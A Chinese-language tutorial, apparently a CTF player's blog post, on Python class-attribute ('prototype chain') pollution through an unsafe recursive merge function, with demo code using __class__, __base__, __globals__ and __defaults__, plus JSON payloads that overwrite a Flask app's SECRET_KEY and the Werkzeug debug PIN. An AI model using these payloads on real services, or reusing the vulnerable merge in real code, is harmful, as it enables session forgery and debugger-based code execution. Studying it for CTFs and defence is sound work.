python原型链污染
在国赛中遇到了,当时断网,也没有自己专门去学过,比赛一打完当天晚上就狠狠补上了这个知识,恨啊呜呜,题目很简单的,但是自己没学过就没做出来;w;
Python原型链污染和Nodejs原型链污染的根本原理一样,Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。
关键代码
1 2 3 4 5 6 7 8 9 10 11
| def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
hasattr
(object, name)
参数是一个对象和一个字符串。如果字符串是对象的一个属性,则返回True
,否则返回False
下面代码逻辑就是递归查找k,如果对应的值是字典再次递归,直到查找到对应的值然后修改
利用思路
我们要污染的目标是一个类的父类,所以我们会用到关键的两个魔法属性
__class__
用于获取一个对象的类,这是一个对象的内置属性,它指向定义该对象的类,反射用的,在运行中获取一个类
__base__
属性用于获取一个类的直接父类(基类),如果一个类没有显式地继承其他类,那么它的基类是内置的 object
类
那么我们就可以通过这两个属性来污染他的父类
下面简单看个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| class a1: secret = "aaa" class b1(a1): pass class b2(a1): pass def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) instance = b2() payload = { "__class__" : { "__base__" : { "secret" : "bbb" } } }
print(b1.__class__,b1.__base__) print(b1.secret) print(instance.secret) merge(payload, instance)
print(b1.secret) print(instance.secret)
|
在我们污染了之后就发现我们的b1和b2的secret属性都变成了bbb
可以的话可以自行在merge(payload, instance)
处打个断点进行调试
思路就是先__class__
反射获取能调用到的类,然后用__base__
获取到父类,然后对自己需要的目标进行污染
利用
获取全局变量
在很多类中我们可以看到有很多类会有__init__
方法,用于一个类的初始化。
带有__init__
的类有一个特性,那就是有__globals__
属性,可以简单做一个测试
1 2 3 4 5 6 7 8
| class A: def __init__(self): pass class B: pass
print(dir(A.__init__)) print(dir(B.__init__))
|
我们可以看见在A的属性里面多了一个__globals__
属性,而__globals__
属性是干什么的呢
__globals__
用于访问函数所属的全局命名空间。具体来说,它返回一个字典,表示函数定义时所在模块的全局变量和函数
也就是说我们可以通过这个变量来修改整体的函数,下面简单看个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| secret="aaa" def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) payload = { "__init__" : { "__globals__" : { "secret" : "bbb" } } }
class A: def __init__(self): pass
print(A.__init__.__globals__)
print(secret) merge(payload,A) print(secret)
|
成功修改secret属性
函数形参默认值替换
在此衍生还有一个打法就是函数形参默认值替换
当我们去定义一个函数时,可以为其中的参数指定默认值。类似这样
1 2
| def a(a=1,b=2,c=3): pass
|
而a中的默认参数会被存储在__defaults__
中,我们可以简单看一下
1 2 3 4
| def a(a=1,b=2,c=3): pass print(dir(a)) print(a.__defaults__)
|
所以我们就可以通过替换该属性,来实现对函数位置或者是键值默认值替换
打法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) payload = { "__init__" : { "__globals__" : { "a" : { "__defaults__":(3,4,5) } } } }
class A: def __init__(self): pass def a(a=1,b=2,c=3): print(a,b,c)
a() merge(payload,A) a()
|
**修改关键信息
flask 密钥
payload
1 2 3 4 5 6 7 8 9 10 11
| { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" :"test" } } } } }
|
flask pin码
同理的修改os.environ[‘WERKZEUG_DEBUG_PIN’]
1 2 3 4 5 6 7 8 9 10 11
| { "__init__" : { "__globals__" : { "os" : { "env" : { "WERKZEUG_DEBUG_PIN" :"123-123-123" } } } } }
|